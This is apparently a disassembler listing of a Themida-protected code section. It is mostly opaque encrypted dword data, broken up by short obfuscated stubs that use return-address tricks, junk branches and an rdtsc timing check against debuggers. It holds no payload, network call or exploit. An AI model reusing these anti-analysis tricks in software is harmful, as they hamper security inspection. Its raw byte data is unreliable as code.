dd 18299D89h, 0AE907E4h, 0E2000000h, 0AA50911Eh, 0B05E9A11h
dd 95FF61D4h, 7E42A09h, 0F899B58Bh, 8B0F07E7h, 4, 5BD98B52h
dd 3165858Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 17D9C3C3h, 579785EAh, 0BD23B050h
dd 7E42341h, 0C48689h, 0B5890000h, 7E41E59h, 0EE8h, 565B9700h
dd 9C471DC2h, 815893C7h, 0F5263EECh, 71958B5Bh, 6A07E41Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 1033C350h, 0DBD7CA15h, 8B04C283h, 0E42EC59Dh
dd 20508907h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 18C35141h, 3065116Fh, 0D3810883h, 5B5FCFCBh, 0CD4858Dh
dd 868907E8h, 0B8h
dd 6A26B3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0E0C35646h, 0CA9805FCh, 9E2703DCh, 6800Fh, 85010000h
dd 7E402B9h, 7DF8166h, 0A5B5FF07h, 0F07E7F8h, 95FFDEBFh
dd 7E431ADh, 5AD2BF66h, 5E996h, 0A06E0000h, 505C206Eh
dd 0FE8h, 47AB3D00h, 9356CA8Ah, 235FCBF9h, 83D1E884h, 8E8h
dd 86383700h, 2C348606h, 5BD9B349h, 6A965Fh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 764B01C3h
dd 8B0BB76Eh, 0E400559Dh, 0A5B5FF07h, 0BF07E7F8h, 4D9F0872h
dd 1B1195FFh, 9D3107E4h, 7E403B5h, 0DF9BD83h, 0F0007E4h
dd 2E84h, 80DA8B00h, 6096B2CBh, 6FA3BB66h, 5061D88Bh, 0BE9h
dd 28764D00h, 2D37FED9h, 72370DB0h, 8D896096h, 7E42C4Dh
dd 1D958533h, 0FF6107E4h, 0E7F8A5B5h, 53006A07h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 4C0E010Ch, 0BD232F7Fh, 7E43021h, 27D95FFh, 6A07E4h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 8BB5A5C3h, 0FFF94B02h, 0E7F8A5B5h, 1BD2B07h, 0FF07E406h
dd 0E4097195h, 0B1BD8907h, 8307E401h, 0E40A21BDh, 840F0207h
dd 65h, 1BA9B589h, 858B07E4h, 7E41EB5h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 19h, 5DC35242h, 12096745h
dd 698D29CAh, 2307E430h, 0E42B71BDh, 0C607h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8CC35545h, 99D897Dh
dd 907E40Fh, 0E4233985h, 7185C707h, 7E426h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 7EA4C352h, 0AE007C86h, 0BD8BAC5Fh, 7E43191h
dd 0FFF2FFE9h, 0F1BD8BFFh, 8B07E415h, 51006AC1h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0D0FA7EB0h, 0A71E008Ch, 0FE9E0h, 29460000h, 25CFC9B0h
dd 0AD2E7F45h, 0C42C4153h
db 7Ah
byte_5CCDE5 db 8Dh, 2 dup(85h) ; DATA XREF: Themida_:00583CE8o
dd 8107E40Dh, 166418EFh, 8A0F9037h, 3, 50D88B66h, 8B90FA8Bh
dd 0F9B589DAh, 6A07E42Ah, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD03CCAAh
dd 7E429F5h, 5059529h, 6A07E4h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 94C35646h, 9D8B2999h, 7E41D91h
dd 0ABA7858Dh, 6A07E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 514B3AC3h, 6E9D2h, 0C9010000h, 0E6FAF6Eh
dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0EE97C355h, 0F8BF0F23h, 860F5290h
dd 2, 505B73B3h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 27F6C4A8h, 0B3E8465Bh
dd 6860Fh, 0B5890000h, 7E41B15h, 9D8B006Ah, 7E42B5Dh, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 864532C3h, 9529F88Bh, 7E41915h, 247195FFh, 6A07E4h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 48A1B0C3h, 4F38E649h, 8B96026Ch, 0E41FB9BDh, 4B8D8D07h
dd 6A07E7D6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0EFE3C353h, 0BF274AA3h, 0D1FF0CC9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4AC35646h
dd 0E4EFAF4h, 26EB9FBBh, 659D8B60h, 8307E405h, 0E42015BDh
dd 850F0107h, 86h, 8D9D2960h, 0F07E414h, 686h, 559D8B00h
dd 6107E416h, 0C381026Ah, 5BD656A9h, 1E1D9D8Bh, 509007E4h
dd 0F4FB752h, 13E831h, 961B0000h, 2536D869h, 21A966F6h
dd 0A525EFB5h, 0E07B8D15h, 78BF66DDh, 585A5F88h, 0E769BB50h
dd 6A906823h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 2DD0C356h, 0DD8F00A3h, 52FB89BCh
dd 1FF9BD89h, 95FF07E4h, 7E431ADh, 1925BD8Bh, 53E907E4h
dd 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E8ABB1h
ja loc_5CD04E
adc di, 7F2h
loc_5CD04E: ; CODE XREF: Themida_:005CD043j
mov edi, 43F52D79h
lea eax, [ebp+7E7C6E1h]
push 0
push ebp
call sub_5CD064
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD064 proc near ; CODE XREF: Themida_:005CD05Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5CD064 endp
; ---------------------------------------------------------------------------
dd 569015D6h, 13E8h, 42A76000h, 6787AF36h, 0DF1DCA3Bh
dd 3507BB53h, 475AC8A3h, 66505F5Fh, 90F94DBBh, 21959589h
dd 0FF6407E4h, 35h, 25896400h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5CD0B7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD0B7 proc near ; CODE XREF: Themida_:005CD0AFp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5CD0B7 endp
; ---------------------------------------------------------------------------
db 0DBh
dd 0E35DBF05h, 85FF7DC0h, 7E420B9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0CFC35343h, 810F0162h, 6, 24D8D89h
dd 0FF6A07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 55C35747h, 550CC57Eh, 0DE8B66D7h, 0B5FFA6B7h, 7E40919h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E7C35040h
dd 0A099BD6Eh, 7A4D62E3h, 4D95FFDEh, 0E907E430h, 0FEh
dd 258D8960h, 8907E400h, 0E420418Dh, 0FE8B6107h, 816600B0h
dd 0E69797E3h, 0E45B5070h, 0E820F71h, 60000000h, 14A98533h
dd 853107E4h, 7E40A7Dh, 0F613C61h, 0C583h, 0AD9D8B00h
dd 0F07E421h, 0D98BC8B6h, 6BAh, 0E19D0300h, 8B07E406h
dd 0BA6660C1h, 81663ED2h, 610420F0h, 0F04E8C1h, 0F766D8BFh
dd 0D9BF0FE2h, 0D18BC82Bh, 67C38166h, 5E911h, 81660000h
dd 8BD42EC3h, 0E4217985h, 3D9D8B07h, 8307E41Eh, 0E85307C0h
dd 0Fh, 0A04C69C2h, 30C3F1DCh, 0A4F8D291h, 81089A73h, 0C168ECF7h
dd 835B5F1Dh, 0BF6600C0h, 0D03B74A2h, 11830Fh, 9D8B0000h
dd 7E4148Dh, 3DE9h, 21958900h, 8B07E424h, 0E409658Dh, 49B58907h
dd 8B07E427h, 0E403899Dh, 1E18307h, 1C840Fh, 81660000h
dd 831808E3h, 0E40965A5h, 9589FE07h, 7E42179h, 0E7CB8166h
dd 0E92Fh, 0B58D0000h, 7E8310Ch, 8E8h, 612CD00h, 0B4619F6Ah
dd 998589B0h, 5B07E418h, 8589006Ah, 7E43305h, 0E4195FFh
dd 0CFB907E4h, 6A000008h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 5F38C357h, 0F1BD8936h
dd 8307E42Eh, 9589FCE1h, 7E404F1h, 0EB8166FCh, 0C02B3DC1h
dd 29F78166h, 0FD22BE5h, 287h, 0ADFA8B00h, 0E8D1C233h
dd 0E983D003h, 0FF47504h, 9D89DBBFh, 7E432F5h, 880Dh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 8766D12h, 8B96A46Dh, 0E41B7195h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0CDB52942h
dd 8B07E425h, 0E42DA18Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 1673609Ah
dd 7B14B8E3h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 0C3805818h, 0B7FA8A26h, 11BD83F3h, 7E406h, 70840Fh
dd 13E80000h, 5F000000h, 2BAB618Ch, 0A40052D7h, 47D786BBh
dd 6FD9A36h, 11E8D103h, 0DD000000h, 44656D9Bh, 5403DB23h
dd 42A3677Fh, 0BA2A78DAh, 5B5F6160h, 0B8h, 6E800h, 8BA20000h
dd 5F45C5C1h, 1FD9D0Bh, 8D5B07E4h, 0E44FE78Dh, 138F0F07h
dd 0E8000000h, 9, 67D05BC9h, 4015666Ah, 0B8BF66E9h, 0E1FF5B0Eh
dd 4DC8DB81h, 0BD833036h, 7E422B9h, 29840F00h, 8B000005h
dd 0B9BD83FBh, 107E422h, 535840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 86BCA4C3h
dd 0EBE2A092h, 0F0B7D1Bh, 886h, 9D895000h, 7E41CF5h, 0CDBD8B5Fh
dd 8307E419h, 0E422B9BDh, 860F0307h, 4B9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DAC35040h, 0E35BB2FEh
dd 0EC588CBFh, 95BD8B1Ah, 6007E41Fh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 0B9C35646h, 1A7B6F82h, 66003DD1h
dd 0B7DF781h, 0E8D98C66h, 0Ah, 5F8F12ECh, 59E83CC7h, 8B56C2CCh
dd 0E40EB99Dh, 0E95F5F07h, 12h, 0A0AD3D0Ch, 1C437CB7h
dd 5DCC62B0h, 991CBA5Ah, 0E1800521h, 12E904h, 0D4B90000h
dd 93D0E77Fh, 0C8A130B3h, 19973798h, 11D2CE8h, 840FC90Ah
dd 11Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 0CBC35141h, 0FBACA562h, 5DCDD457h, 13ED8589h, 858B07E4h
dd 7E40651h, 1B519D89h, 853307E4h, 7E42029h, 890F50FCh
dd 4, 5F5F5256h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0C79FC352h, 6AB922FCh
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 0B589BF0Bh, 7E40895h, 0B938EC68h, 81D88B03h
dd 3B132434h, 0BD8903A6h, 7E4272Dh, 2D9995FFh, 816607E4h
dd 89ED8DEFh, 0E7F8A585h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0C1F36F2h
dd 0BE2A9497h, 0DE8A8EABh, 2A8E9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0E0107860h
dd 0D20DAD18h, 27699D03h, 10E907E4h, 0B4000000h, 0DBC189B2h
dd 0E2D93419h, 9414536Ah, 8B70B971h, 0E7F89D85h, 81BD8907h
dd 0C707E421h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 4EA3132Eh, 8D3152D5h
dd 7E40A85h, 0F8A1B58Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 6E2F1EC3h, 6153435h
dd 0EFDBD0Bh, 94BB07E4h, 8B168884h, 0E4009985h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 89A67370h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 0F3CBC1Ah, 0FE8B66A8h, 651858Bh
dd 8D0F07E4h, 6, 6618D89h, 468907E4h, 51006A04h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 45466EAEh, 8B96D652h, 666050F9h, 0BBB5FFBFh, 6199A86h
dd 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 606113C3h, 28E0Fh, 0FE8B0000h, 0F89DB5FFh
dd 6EBB07E7h, 0E8524930h, 4, 1F03FFh, 52505250h, 13E8h
dd 7D2C4800h, 0F68E8DA6h, 0A6C3FFB9h, 0F920F1FBh, 73CB3D0Ah
dd 60310F5Bh, 0F585A61h, 14E931h, 0E8520000h, 4FF08E1Fh
dd 6BA8B6B4h, 0E887DA5Bh, 0DCBA1AFAh, 585A37D3h, 8A0F6050h
dd 0
; ---------------------------------------------------------------------------
jmp loc_5CD7A1
; ---------------------------------------------------------------------------
db 0D0h, 0DFh, 6Ch
dd 1B0731B2h
; ---------------------------------------------------------------------------
cdq
loc_5CD7A1: ; CODE XREF: Themida_:005CD794j
popa
mov eax, [esp+4]
mov ebx, 463B3C74h
mov eax, [eax]
pusha
pusha
jnz $+6
push eax
push edx
rdtsc
pop edx
pop eax
popa
call near ptr loc_5CD7C6+2
mov esp, 639D6F14h
loc_5CD7C6: ; CODE XREF: Themida_:005CD7BCp
fild dword ptr [ebx-18h]
add eax, 3B000000h
fnsave byte ptr [eax+5F5E565Dh]
popa
mov [esp+4], eax
push edi
pop edi
pop eax
jns loc_5CD7E8
add edi, 5CE83AADh
loc_5CD7E8: ; CODE XREF: Themida_:005CD7DCj
lea eax, [ebp+7E7F8A5h]
push 0
push ecx
call sub_5CD7F9
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD7F9 proc near ; CODE XREF: Themida_:005CD7F1p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5CD7F9 endp
; ---------------------------------------------------------------------------
db 7, 80h, 52h
dd 26299531h, 0B70F07E4h, 565390DBh, 5FFE8B66h, 5250505Fh
dd 0EC8BC5BFh, 51310F41h, 0BE9h, 0E4703F00h, 0A2D8C542h
dd 0CA611DCCh, 90585A5Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 16C35343h, 9995FF75h, 6A07E42Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 98E2C355h, 0BF0FF571h, 6E961FEh, 0E8000000h, 0C32629B4h
dd 0B985C7FFh, 307E422h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F2C7C351h
dd 6A737492h, 28C6CA1Ah, 6E19D89h, 0F6007E4h, 285h, 615F5300h
dd 0F8A5BD83h, 0F0007E7h, 3084h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0D7ED8257h
dd 0F6FEF381h, 21E928C2h, 8B000000h, 0E40D31BDh, 0C305007h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 22C35242h, 0E381665Ch
dd 858940A6h, 7E40975h, 22B9BD83h, 0F0307E4h, 3C985h, 0D9BD8B00h
dd 8307E41Bh, 0E7F8A5BDh, 840F0007h, 3B6h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 11C35040h, 0FF3B5901h
dd 0E7F8A5B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0A62CE19h, 7775E848h
dd 9D8B9353h, 7E4321Dh, 0F1C38166h, 4D95FF29h, 8B07E404h
dd 0E7F899B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 8A647844h, 46CB81FCh
dd 0C72FC254h, 1000106h, 0B1BD8B00h, 8907E41Fh, 0E41D2585h
dd 34895007h, 0A6E38124h, 0FF0191DDh, 0E7F8A5B5h, 9D9D8907h
dd 0FF07E421h, 0E42A0995h, 0C3816607h, 0B58BD377h, 7E7F899h
dd 8BD9BF0Fh, 0E4316585h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0E780B6E6h
dd 0DA8B662Bh, 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 1071CDC3h, 6DCC12E3h
dd 958BB880h, 7E41B71h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0EBC35646h, 1E36B3F9h, 2A359C9Dh, 0F0BE6050h
dd 66707655h, 6318C781h, 0C2835F61h, 0FAB70F04h, 0F205089h
dd 382h, 0FBBF0F00h, 0CD4858Dh, 5E807E8h, 0D000000h, 0F3771587h
dd 0F39BD8Bh, 895F07E4h, 0B886h, 0A5BD2300h, 6A07E42Fh
dd 1DBD8B00h, 0F07E433h, 0B5FFD8B7h, 7E7F8A5h, 13D18509h
dd 0BB6607E4h, 95FF6DA9h, 7E431ADh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 1C35343h, 43D38833h, 0AC528BE5h
dd 0E19D8B7Eh, 9607E42Eh, 6830F50h, 0F000000h, 8Eh, 6A9600h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 892450C3h, 0E42C3985h, 0A5B5FF07h, 5307E7F8h, 12CD8589h
dd 315F07E4h, 0E424A58Dh, 1195FF07h, 0BF07E41Bh, 42FBC69Ch
dd 835BEB80h, 0E40DF9BDh, 840F0007h, 63h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0C35343h, 3594E5Fh
dd 0E42799BDh, 66605007h, 0B7BBEFBBh, 34896157h, 57006A24h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 892708E0h, 0E41A79BDh, 59EF8007h, 6E9h, 0EB87F300h
dd 0FF8CC48Eh, 0E7F8A5B5h, 0F98D2907h, 0FF07E415h, 0E4027D95h
dd 0CE907h, 0AB860000h, 88696636h, 0A436C9B9h, 0B5FF5DE1h
dd 7E7F8A5h, 0DDDBD8Bh, 95FF07E4h, 7E40971h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E6C35343h, 8B5C9112h
dd 0E40E4D9Dh, 21BD8307h, 207E40Ah, 93840Fh, 0DA8B0000h
dd 14E9h, 0DA1E3D00h, 0A27FA9ECh, 3862A4F9h, 3EAA478Bh
dd 4AAB5AD4h, 0B5858BDFh, 6A07E41Eh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4A92C350h
dd 0C350A0B0h, 0E8D74DC1h, 0Bh, 372F1D9Ah, 0B92A2124h
dd 662D05BBh, 0FD14DF81h, 88D0F5Fh, 0F000000h, 284h, 0C69EB300h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0EA5501C3h, 890EE8DBh, 0E427698Dh, 7185C707h
dd 7E426h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0AB81C356h, 9FE99B0Bh, 6AFFFFF3h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0DD9EC356h, 89F94A75h, 0E42EB1B5h, 0FC18B07h
dd 858DFAB7h, 7E40D85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 26C35343h, 0C455E309h, 90C59C4Dh, 5750DE8Ah
dd 905FF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 0EBC35343h, 9D8BFE31h, 7E425EDh, 8589006Ah, 7E415F1h
dd 1481BD8Bh, 6A07E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0B6C35343h, 0F5AF94DAh, 858DF275h, 7E8BABBh
dd 0C083F88Ah, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0DC1F0601h, 0FD9D2B46h
dd 8907E417h, 0E4050DB5h, 0BB665007h, 489E09Ah, 0FE924h
dd 628C0000h, 30227D90h, 2159806h, 0C4D1E365h, 0F006A89h
dd 580h, 0CF816600h, 6A329Eh, 224DBD29h, 95FF07E4h, 7E42471h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B9C35646h
dd 14B63847h, 0E3717E69h, 68D0Fh, 8D890000h, 7E421C9h
dd 0D64B8D8Dh, 0F5607E7h, 0FF5FF8BFh, 0FDBD2BD1h, 6607E423h
dd 9AEFDB81h, 2015BD83h, 0F0107E4h, 7185h, 1DBD8900h, 6A07E424h
dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0BE9B8h, 697A0000h, 22BF7A14h, 9D8E62EAh
dd 0EBB3504Ch, 0F5240489h, 0F21BD8Bh, 95FF07E4h, 7E431ADh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C9C35040h
dd 0A51FA5A7h, 39F8BD87h, 2C219D89h, 54E907E4h, 0E800000Eh
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E8BAC5h
push 0
push ebx
call sub_5CDF62
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDF62 proc near ; CODE XREF: Themida_:005CDF5Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5CDF62 endp
; ---------------------------------------------------------------------------
xchg bl, [ebx]
push 0
push ebp
call sub_5CDF7F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDF7F proc near ; CODE XREF: Themida_:005CDF77p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5CDF7F endp
; ---------------------------------------------------------------------------
db 97h
dd 9D8BEF48h, 7E41AF1h, 0C6E1858Dh, 6A07E7h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F3AFA2C3h
dd 0C4DB0685h, 0EE8FBh, 0A9BA0000h, 0E294AF4Dh, 0F62DF557h
dd 0E061939Eh, 0FD6CF781h, 0BF5F2429h, 9B0A799h, 52525050h
dd 0F5BDA8Bh, 89585A31h, 0B70F2404h, 35FF64DAh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5CE003
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE003 proc near ; CODE XREF: Themida_:005CDFFBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5CE003 endp
; ---------------------------------------------------------------------------
db 6Eh
dd 0DB37EC48h, 1E999D8Bh, 896407E4h, 25h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0F9C29E97h, 4C9B589h, 85FF07E4h, 7E420B9h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 35C35545h, 3DBD095Dh
dd 6A07E41Bh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 765127DCh, 6F47F624h, 8783BBF6h
dd 0B70F6741h, 0FDB5FFF9h, 8907E422h, 0E40A359Dh, 9D9D8B07h
dd 0FF07E42Fh, 0E4304D95h, 131E907h, 870F0000h, 3, 0B0FAB70Fh
dd 4D850100h, 0E607E42Ch, 9DBD2970h, 0E407E424h, 0F8BF0F71h
dd 830F613Ch, 10Bh, 0FF88B66h, 0B60FFBB7h, 6820FC8h, 9000000h
dd 0E404398Dh, 6BA07h, 0BD8B0000h, 7E40ADDh, 9D8BC18Bh
dd 7E40DDDh, 8904E8C1h, 0E400959Dh, 0E2F76607h, 0C82BFD8Ah
dd 2641B589h, 0D18B07E4h, 0E9DFB70Fh, 6, 799D8Bh, 858B07E4h
dd 7E4240Dh, 17810Fh, 0EE80000h, 0C3000000h, 0ED427C28h
dd 35B7EF97h, 0F05B2953h, 0BFD78032h, 199D315Bh, 8307E40Fh
dd 0CE807C0h, 34000000h, 6B49077Fh, 4A1B426Ah, 0E905CBAFh
dd 12h, 6C4D94F0h, 6102EF8h, 1EBF4678h, 268BC9A4h, 835F5D0Dh
dd 13E900C0h, 0D2000000h, 0F860199Fh, 63621142h, 66E304F6h
dd 201A48BCh, 0D03B1E48h, 11830Fh, 0CF810000h, 747A58ABh
dd 3AE9h, 0C5BD8B00h, 8B07E424h, 0E41AC58Dh, 799D8B07h
dd 8307E431h, 840F01E1h, 1Fh, 0C5A583F9h, 0FE07E41Ah, 26499D89h
dd 958907E4h, 7E4240Dh, 226BCF81h, 0E93075h, 8D000000h
dd 0E84199B5h, 0DE8B6607h, 95FF006Ah, 7E40E41h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3AC35646h, 0AAB9B848h
dd 8B000008h, 0E415959Dh, 83D98B07h, 13E9FCE1h, 0E8000000h
dd 0B676A3FBh, 26AD938Ah, 9EEE38CFh, 0D7694F5Bh, 6AFCCC70h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 5E24C350h, 8B85661Ah, 0E41F8DBDh, 0B807h
dd 0B70F0000h, 0BAFBh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 0A9896AC3h, 8D893E32h
dd 7E42469h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 6ACBB7h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0F05CDC3h, 0F9B70F50h, 880D5Bh, 0BB660000h, 958B076Dh
dd 7E41B71h, 0BA24F381h, 8D8B4E60h, 7E42DA1h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C5C35747h, 0FDB59FDEh
dd 6800Fh, 9D2B0000h, 7E429F1h, 0AE5CDF81h, 8B504E71h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BDC35747h, 6A4B11h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0C2A27EC3h, 0D17EC9F1h, 0E781EB59h, 165E6EBBh, 1BEDBD03h
dd 0BD8307E4h, 7E40611h, 76840F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 6756C351h, 2F85F280h, 0D59D8BAFh, 0B807E40Ah, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5CE3C3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE3C3 proc near ; CODE XREF: Themida_:005CE3BBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5CE3C3 endp
; ---------------------------------------------------------------------------
db 8
; ---------------------------------------------------------------------------
xchg eax, edi
pusha
xchg eax, esi
adc [ecx-1BDB2A6Bh], cl
pop es
lea ecx, [ebp+7E44FE7h]
mov edi, [ebp+7E402ADh]
jmp ecx
; ---------------------------------------------------------------------------
jmp loc_5CE401
; ---------------------------------------------------------------------------
db 15h, 0B3h, 92h
dd 0B8DFBC2Bh, 589F8B50h, 0A0B7F46Dh
; ---------------------------------------------------------------------------
xchg eax, ecx
loc_5CE401: ; CODE XREF: Themida_:005CE3ECj
cmp dword ptr [ebp+7E422B9h], 0
jz loc_5CE869
add [ebp+7E4126Dh], edi
cmp dword ptr [ebp+7E422B9h], 1
jz loc_5CE884
push 0
push ebx
call sub_5CE42C
